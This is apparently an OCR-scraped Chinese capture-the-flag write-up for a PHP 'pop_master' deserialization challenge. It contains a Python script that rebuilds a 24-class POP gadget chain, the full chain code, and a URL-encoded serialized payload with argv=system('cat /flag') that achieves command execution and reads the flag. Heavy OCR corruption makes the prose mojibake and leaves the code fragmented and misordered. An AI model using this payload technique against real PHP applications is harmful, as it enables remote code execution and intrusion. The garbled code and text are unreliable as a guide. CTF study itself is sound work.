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BMRERIRE, B RERSEphp-parser, i8R B AR SOEEN, S2br LiXE R R — N BTk B8 R 10 .
iX B #Ekali % 3 — ¥ php-parser:

1.wget https://getcomposer.org/installer

201:2100:: 4:d185

1
1
E
i
1

installer

2021-10-85 15:24:35 (184 KB/s) - Eff#&F “installer” [57721/57721])

2.mv installer installer.php
3. php installer.php

:~/TF # /PHP-Parser$ php installer.php

HBLIX AN 18 B BT B B R flcomposer.pharZ 38 5L, 72487 H F T a4 % ok —4Ncomposer.pharff] 4
4.php composer.phar require nikic/php-parser

g £$ php composer.phar require nikic/php-parser
Using version "4.13 for

- Locking

- Downloading

- Installing (vi4.13.8) : EJ“‘ES'UH'%__T'

Z iphp-parserz % 1

RIBIEREHEXPT TR, BERZLHHEFH

5 R T/ class.php ) P 2 & il 2l A exp i code.phpH .

R ¥mianphpH I EFEEFAOTESANOSHERE
i24Tmain.php:

>W5pPNI

IR B — %k pop#E .


https://www.anquanke.com/post/id/244153
https://gitee.com/b1ind/pop_master

5T —BtpythonfRAZ kA siphppoc:



# -*- coding: utf-8 -*-

#A(CHGE T Epython2. 7

import linecache

classphp = "C:/Users/root/Desktop/class.php.txt"
f = open(classphp) # IBE[— X R
line = f.readline()

linenum = 1

pop = "bgONH6======>U3GR5Y======>yZ135Z======>PEmYsT======>XxTOweR======>kdYRCK======>p9g5V9======>22B2Yy======>7
yPbQC======>GUF eql======>ZUMG5r======>H9G1Mh======>XePAh8======>fpPqVg======>YNBWXQ======>tE6EuS======>UhnEew===
===>pP2Nyq======>a2w5hk======>EYafpg======>Y1Eyz0o======>194Kwx======>eval

poplist = pop.split("======>")

popstartindex = range(0,len(poplist)-1)
popendindex = range(0,len(poplist)-1)
while line:
linenum+=1
line = f.readline()
for i in range(@,len(poplist)-1):
if line.find(poplist[i])!=-1 and line.find("{")!=-1:
for j in range(0,30):
if linecache.getline(classphp, linenum-j).find("class") != -1 and linecache.getline(classphp, 1li
nenum-j).find("{")!=-1:
popstartindex[i] = linenum-j
break
for j in range(@, 30):

if linecache.getline(classphp, linenum + j).find("class") != -1 and linecache.getline(classphp,
linenum+j).find("{") != -1:
popendindex[i] = linenum + j
break
continue
f.close()
#4E php Hiexp

print("<?php")
for i in range(0@,len(poplist)-1):
for j in range(popstartindex[i],popendindex[i]):
print(linecache.getline(classphp,j).replace("\n",""))
for i in range(0@,len(poplist)-1):
for j in range(popstartindex[i], popendindex[i]):
if(linecache.getline(classphp,j).find("class")!=-1 and linecache.getline(classphp,j).find("{")!=-1):
s = linecache.getline(classphp,j)
s = s.replace("{","();")

s = s.replace("class", "new"
s = s.replace("\n", "")
print "$a"+str(i)+" = "+s
for i in range(0@,len(poplist)-1):
if(i < len(poplist)-1):
for j in range(popstartindex[i], popendindex[i]):
if (linecache.getline(classphp, j).find("public $") != -1):
s = linecache.getline(classphp, j).replace("public $", "")
s = s.replace(";", "")
s = s.replace(" ")
s = s.replace("\n", "")
print("$a" + str(i) +

->" + s + + "$a" + str(i + 1) + ";")
else:

print ("$a"+str(i)+"->"++"="+"$_POST['cmd']")

5 %Flpoc:

<?php
class L7UHD6{

mlhT1 S~ RN .



puvLLC PINWUWINY ,
public function xbepUT($dV2z0){
if(45016>39692){
$dv2Z0 = $dv2Z0. 'wHmKO';
}
if(method_exists($this->nHWOwWmg, 'mAbmf6')) $this->nHWOwmq->mAbmf6($dV2Z0);
if(method_exists($this->nHWOwWmg, 'rcLD5G"')) $this->nHWOwmg->rcLD5G($dV2Z0);

}
public function VTtOt1($gIpCX){

for($i = 0; $i < 26; $1i ++){
$auowPm= $gIpCX;
}
if(method_exists($this->nHWOwWmg, 'VF56w8')) $this->nHWOwWMmg->VF56w8($gIpCX);
if(method_exists($this->nHWOwmg, 'H71z97')) $this->nHWOwmq->H71Z97($gIpCX);

class YyaVmX{
public $LBhGiWo;
public function C7F7Xa($aAsyu){
$aAsyu="LbsMN";
eval($aAsyu);

¥
public function mAbmf6($PTDrM){

for($i = @; $i < 23; $i ++){
$aFkirt= $PTDrM;

¥
$this->LBhGiW@->BHGNSG($PTDrM);

class FP1BKG{
public $YVIW3IV;
public function yKpHBF($VC23m){
for($i = 0; $i < 7; $i ++){
$agyIlz= $vVC23m;
¥
if(method_exists($this->YVIW3IV, 'tumiO0')) $this->YVIW3IV->tumiOO($VvC23m);
if(method_exists($this->YVIW3IV, 'gguM56')) $this->YVIW3IV->gguM56($VC23m);

}
public function BHGNSG($AGPDQ){

1f(1366>45772){

$AGPDQ = $AGPDQ. 'XupC5';

}

$this->YVIW3IV->ITqWW2 ($AGPDQ);

class kCZ5P4{
public $SuxNbbP;
public function 1GVgt2($g7FMP){



for($i = 0; $i < 3; $i ++){
$g7FMP= $sFwFD;

)
eval($g7FMP);

}

public function ITqWW2($yukip){
$this->UtURv = "X7Eg4";
$this->SuxNbbP->oMvgkv($yukip);

class fhGDEo{
public $c8Un3Pc;
public function GGs2Tx($waoG6){
eval($waoG6);

}

public function oMvgkv($GeGy2){
$this->cM4xy = "xISic";
$this->c8Un3Pc->msMgDb($GeGy2);

class qZgqTN{
public $AanVLGe;
public function msMgDb($hiIFc){
$this->rlETt = "PxSDM";
if(method_exists($this->AanVLGe, 'hZChcd')) $this->AanVLGe->hzZChcd($hiIFc);
if(method_exists($this->AanVLGe, 'vO5w7c')) $this->AanVLGe->vO5w7c($hilFc);

}
public function dg8ecu($vkPSz){
for($i = 0; $i < 3; $i ++){
$azZTyWy= $vkPSz;
}
$this->AanVLGe->CNnFdI($vkPSz);

class XyhYtb{
public $xEGEy7K;
public function hZChcd($S5KoL){
$this->Q1lrMr = "UnRom";
if(method_exists($this->xXEGEy7K, 'x8iwgk')) $this->xEGEy7K->x8iwgk($S5KoL);
if(method_exists($this->XEGEy7K, 'wkd2WW')) $this->XEGEY7K->wkd2WW($S5KoL);

}

public function WMtbwz($ugsdY){
$this->N4yEy = "UvVvRN";
eval($ugsdy);



class sulL25R{
public $bz6H981;
public function x8iwgk($QrGks8){
$this->XnLoL = "Xwudp";
if(method_exists($this->bz6H981, 'PcquzZ')) $this->bz6H981->PcquzZ($QrGks);
if(method_exists($this->bz6H981, 'sFGeyF')) $this->bz6H981->sFGeyF($QrGks);

}
public function FWq41D($rqPwp){
eval($rgPwp);

class DLGUGZ{
public $FwWX8FKY;
public function sFGeyF($XzG6P){
for($i = @; $i < 22; $i ++){
$aiuTZa= $XzG6P;
¥
$this->FwX8FKY->ti9Y1F ($XzG6P);

¥
public function dm4bGP($gqoRh){
for($i = 0; $i < 0; $i ++){
$aCum9= $gqoRh;
¥
if(method_exists($this->FwX8FKY, 'akEghP')) $this->FwX8fKY->akEghP($gqoRh);
if(method_exists($this->FwX8FKY, 'bPN2Nx')) $this->FwX8fKY->bPN2Nx($gqoRh);

class A5S5Qmeo{
public $sfvD9z1;
public function ti9Y1F($wVv3Ig){
for($i = 0; $i < 1; $i ++){
$aCHhiQ= $wVv3Ig;
}
if(method_exists($this->sfvD9z1, 'tYwP6S')) $this->sfVD9z1l->tYwP6S($wV3Ig);
if(method_exists($this->sfvD9z1, 'kkWKI2')) $this->sfVD9z1l->kkWKI2($wV3Ig);

}
public function EGyMsQ($sOzws){
eval($sOzws);

class HXf222{
public $umxT6cV;
public function kkWKI2($DpQYt){
$this->bv86G = "qW8tN";
if(method_exists($this->umxT6cV, 'RBXeSg')) $this->umxT6cV->RBXeSg($DpQYt);



if(method_exists($this->umxTécV,

}
public function vdQxOo($XY7aa){
for($i = @; $i < 21; $i ++){
$XY7aa= $S19Kd;
}
if(method_exists($this->umxT6cV,
if(method_exists($this->umxT6cV,

class gDnfK9{
public $TxBOFdF;
public function RBXeSg($bF4BC){
$this->H3vVLG = "v2wil0";
if(method_exists($this->TxBOFdF,
if(method_exists($this->TxBOFdF,

}
public function oplEGY($QGyHC){

$this->ypak3 = "HMUxr";
if(method_exists($this->TxBOFdF,
if(method_exists($this->TxBOFdF,

class D8UAmt{
public $izwlYVT;
public function zTkOnG($vmaCD){
$this->qv4A9 = "wh7ee";
$this->izwlYVT->0DsdNW($vmaCD);

}
public function l6fzen($Iz4x1){

$this->iyZkT = "BwaGt";
$this->izwlYVT->dreybG($Iz4x1);

class D8WX2Q{
public $iiirsPe;
public function ODsdNW($Rrp6q){
for($i = 0; $i < 26; $i ++){
$a0OWEiN= $Rrp6q;
}
if(method_exists($this->iiirsPe,
if(method_exists($this->iiirsPe,

}
public function khXStd($xx5AI){

for($i = 0; $i < 24; $i ++){
$atghoU= $xx5AI;

"iOURs0")) $this->umxT6cV->iOURSO($DpQYt);

'VmSVuq')) $this->umxTecV->VmSVuq($XY7aa);
"GhFnwk")) $this->umxT6cV->GhFnwk($XY7aa);

'2TKONG')) $this->TxBOFdF->zTkOnG($bF4BC);
'GOioTK')) $this->TxBOFdF->GOioTK($bF4BC);

'mIrTr2"')) $this->TxBOFdF->mIrTr2($QGyHC);
'EVAhi7"')) $this->TxBOFdF->EVAhi7($QGyHC);

"tYWHFI')) $this->iiirsPe->tYWHFI($Rrp6q);
"qtRRwg")) $this->iiirsPe->qtRRwg($Rrp6q);



+
if(method_exists($this->iiirsPe,
if(method_exists($this->iiirsPe,

class EVAmyn{

public $mUISnWb;

public function yvGxsq($G9hkX){
$this->ZR23N = "GVYES";
if(method_exists($this->mUISnWb,
if(method_exists($this->mUISnWb,

}

public function tYWHFfI($yN6EuU){
if(52033>2482){
$yN6Eu = $yN6EuU. 'SGUGE";
}
if(method_exists($this->mUISnWb,
if(method_exists($this->mUISnWb,

class cDuVyQ{

public $VLDgIsu;

public function x43ZTL($SHUc7){
for($i = @; $i < 30; $i ++){
$asUMta= $SHUcC7;
}
if(method_exists($this->VLDgIsu,
if(method_exists($this->VLDgIsu,

¥

public function IP5InO($0itLV){
$0itLV="uiofy";
eval($0itLV);

class vD3i@B{

public $gadGK57;
public function uUiXDO($iuWYO){
if(3909>32143){
$iuWYO = $iuWYO.'FUVHe';
}
$this->gadGK57->sW3R98($iuY0);

}

public function ebiPNb($hwCNG){
$this->pzzE8 = "H1x2G";
$this->gadGK57->gSB1Tm($hwCNG) ;

"gCBRhG")) $this->iiirsPe->gCBRhG($xx5ATI);
'K9YgD1")) $this->iiirsPe->K9YqD1($xx5AI);

"sSR1IV')) $this->mUISnWb->ssR1IIV($GOhkX);
"WFmoAx ")) $this->mUISnWb->wFmoAx($GOhkX) ;

"X43ZTL')) $this->mUISnWb->x43ZTL($yN6EU);
'dQM19g')) $this->mUISnWb->dQM19g($yN6EU);

'ebiPNb"')) $this->VLDgIsu->ebiPNb($SHUC7);
'BGYFdR')) $this->VLDgIsu->BGYFdR($SHUC7);



class N2Dy79{
public $ReDc2ZH;
public function gSB1Tm($gFNi2){
$this->SSi7T = "Tmb28";
if(method_exists($this->ReDc2ZH,
if(method_exists($this->ReDc2ZH,

}

public function zpK1lgI($191Uk){
$this->FDN9G = "wqggFa";
if(method_exists($this->ReDc2ZH,
if(method_exists($this->ReDc2ZH,

class az2d5x{
public $aaSROLe;
public function ayZmI3($KVFRN){
if(12818>22299){
$KVFRN = $KVFRN. 'xoTGc';

¥
$this->aaSROLe->UUqavO($KVFRN) ;

}
public function tYRTEy($egmfS){

for($i = @; $i < 15; $i ++){
$aQKoAF= $egmfS;

}
$this->aaSROLe->BnYLZ1($egmfS);

class deUxDv{
public $wkvASs6;
public function SxOyYw($EgxFz){
$this->KXDQF = "WP7QA";
eval ($EgxFz);

}
public function UUgaveO($simew)q{

if(52050>20186){

$simew = $simew. 'RgmkC';

}

$this->wkvASs6->TbGXG5 ($simew);

}
class HclckR{

public $QI1LVkK;
public function cLHWvn($eEipn){
if(24817>22370){
$eEipn = $eEipn.'ccleG’;
}
$this->QI1LvkK->PiLK@i($eEipn);

'ayZmI3')) $this->ReDc2ZH->ayzZmI3($gFNi2);
"PAKLEU')) $this->ReDc2ZH->PdKLEU($gFNi2);

"tIvygva')) $this->ReDc2ZH->tIYgva($191Uk);
"pH3TWQ')) $this->ReDc2ZH->pH3TWQ($191Uk);



¥
public function TbGxG5($YcxIx){

for($i = 0; $i < 10; $i ++){
$aTNhpa= $YcxIx;
}
$this->QI1LVkK->F5UkVr($YcxIx);
}
}
class gp2b2g{
public $xv9AHC1;
public function nOVngx($lgspc){
$this->gggqP = "rMyHa";
$this->xv9AHC1->ACCxak($1lgspc);

}
public function F5UkVr($h91GB){

for($i = @; $i < 36; $i ++){

$aPITGf= $h91GB;

}

$this->xv9AHC1->htVHUV($h91GB);
}

}
class O0OxBSs{

public $xt66alQ;
public function gwz5Lo($bhyKR){
1f(30529>49808){
$bhykKR = $bhyKR.'hTHz9';
}
$this->xt66alQ->cH2b0t($bhyKR);
}
public function htVHuV($VvpGQd){
if(63158>2952){
$VpGQd = $VpGQd. 'QkEie’;
}
if(method_exists($this->xt66alQ, 'C38qDA')) $this->xt66alQ->C38qDA($VpGQd);
if(method_exists($this->xt66alQ, 'a@YLHW')) $this->xt66alQ->a@YLHW($VpGQd);

}
class 0seZYk{

public $BWuémc5;
public function LtGuap($qrxpU){
eval($qrXpu);

}
public function C38gDA($xbly4){

if(20950>43181){

$xblyd = $xbly4. 'nEdmR';
¥

eval($xbly4);

$20 = new L7UHD6();
$al = new YyavmX();
$a2 = new FP1BKG();
$a3 = new kCZ5P4();
$a4 = new fhGDEo();
$a5 = new qZgqTN();
$a6 = new XyhYtb();
$a7 = new sul 25R():



—

$a8

$a9

$al0
$all
$al12
$al13
$ala
$al5
$al6
$al17
$a18
$al19
$a20
$a21
$a22
$a23

new

new
new
new
new
new
new
new
new
new
new
new
new
new
new

—om——ay

DLGUGZ();
new A5SQmO();

HXF222();
gDnfKI();
D8UAmt () ;
D8WX2Q( ) ;
EVAmyn() ;
cDuvyQ();
vD3i0B();
N2Dy79();
az2d5x();
douxDv () ;
HclckR();
gp2b2g();
00xBSs();
OsezYk();

$a0->nHWOwmg=%a1l;
$al->LBhGiWe=%a2;
$a2->YVIW3IV=%a3;
$a3->SuxNbbP=%$a4;
$a4->c8Un3Pc=%$a5;
$a5->AanVLGe=%$a6;
$a6->XEGEy7K=%$a7;
$a7->bz6H981=%$a8;
$a8->FwX8fKY=$a9;
$a9->sfVD9z1=$a10;
$al0->umxTécV=%$all;
$all->TxBOFdF=$a12;
$al12->izwlYVT=$al3;
$al3->iiirsPe=$al4;
$al4->mUISnWb=%$a15;
$a15->VLDgIsu=%$al6;
$al16->gadGK57=%$al7;
$al7->ReDc2ZH=$a18;
$al8->aaSROLe=$a19;
$a19->wkvASs6=$2a20;
$a20->QI1LvkK=$a21;
$a21->xv9AHC1=%$a22;
$a22->xt66alQ=%$a23;
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include “class. php™:
ficlass, php. txt
highlight_file(_FILE_J;
$a = 3. GET[ pop’1;

b = 3.GET[ argv’ 1,
$class = unserialize($a):
$class->baolHE (3b)

Parse error: syntax error, unexpected end of file in /var/www/html/class.php(165028) : eval()'d code on line 1

CSDN @KogRow

FEA MR 2 J5 KRB RF RS A — 2RI T K BT XevalZ BN & 45 BevalthAT KK :

1
public function U3GR5Y($G3VBy){
if(46372>26018){
$G3VBy = $G3VBy. [Faa;
}
$this-=IHezukm-=>yZ135Z($G3VBy);
}

BT PAIX B 23R 7E J TN — N R 5 /A o T PO 7 157 BB Y R .
BRALEXP:

2pop=0%3A6%3A%22L7UHD6%22%3A1%3A%7Bs%3A7%3A%2 2nHWOWMG%2 2%3B0%3A6%3A%2 2YyaVmX%2 2%3A1%3A%7Bs%3A7%3A%2 2 LBhGiW8%22%3
BO%3A6%3A%22FP1BKG%22%3A1%3A%7Bs%3A7%3A%22YVIN3IV%22%3B0%3A6%3A%22KkCZ5PA%22%3A1%3A%7Bs%3A7%3A%2 2SuxNbbP%22%3B0%3
A6%3A%22FhGDE0%22%3A1%3A%7Bs%3A7%3A%22c8Un3Pc%22%3B0%3A6%3A%22qZgqTN%22%3A1%3A%7Bs%3A7%3A%22AanVLGe%22%3B0%3A6%3
A%22XyhYtb%22%3A1%3A%7Bs%3A7%3A%22XEGEY 7K%22%3B0%3A6%3A%225 UL 25R%22%3A1%3A%7Bs%3A7%3A%22bz6H981%22%3B0%3A6%3A%22
DLGUGZ%22%3A1%3A%7Bs%3A7%3A%22FWX8FKY%22%3B0%3A6%3A%22A5SQMO%22%3A1%3A%7Bs%3A7%3A%225FVDI21%22%3B0%3A6%3A%22HXF2
22%22%3A1%3A%7Bs%3A7%3A%22umxT6CV%22%3B0%3A6%3A%22gDnTK9%22%3A1%3A%7Bs%3A7%3A%2 2 TXBOF dF%22%3B0%3A6%3A%2 2D8UAMt %2
29%3A1%3A%7BS%3A7%3A%221 zWlYVT%22%3B0%3A6%3A%2 2D8WX2Q%22%3A1%3A%7Bs%3A7%3A%2211irsPe%22%3B0%3A6%3A%2 2 EVAMYN%22%3A
1%3A%7Bs%3A7%3A%22mUTSnWb%2 2%3B0%3A6%3A%22 cDuVyQ%22%3A1%3A%7Bs%3A7%3A%2 2VLDEI su%2 2%3B0%3A6%3A%22vD310B%22%3A1%3A
%7Bs%3A7%3A%228aAGK57%22%3B0%3A6%3A%22N2Dy79%22%3A1%3A%7Bs%3A7%3A%22ReDc2ZH%22%3B0%3A6%3A%22az22d5x%22%3A1%3A%7Bs
%3A7%3A%22aaSROLe%22%3B0%3A6%3A%22dOUXDV%22%3A1%3A%7Bs%3A7%3A%2 2wkvAS s6%22%3B0%3A6%3A%22Hc 1 ckR%22%3A1%3A%7BSs%3A7
%3A%22QT1LVkK%22%3B0%3A6%3A%22gp2b2g%22%3A1%3A%7Bs%3A7%3A%22xVOAHC1%22%3B0%3A6%3A%2200XBS $%2 2%3A1%3A%7BS%3A7%3A%
22xt66a1Q%22%3B0%3A6%3A%220seZYk%22%3A1%3A%7Bs%3A7%3A%2 2BWubmC5%22%3BN%3B%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D
%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D%7D&argv=system("cat /flag");//

Z3flag:
& @] A T2 | Bc1446ab-fc73-4127-9603-1450f0184e

<?php

include "claszs.php”;
ficlaz=. php. txt

highlight filei{_FILE )
fa = $ GET[ pop’]:

tb = $ GET[ argv'1;
fclasz = unserialize($a):
tclas=—>xbeplT ($b)

flag{2e7bad32-7e74-40d2-b694-322eace84e90}

C5DN @KogRrow
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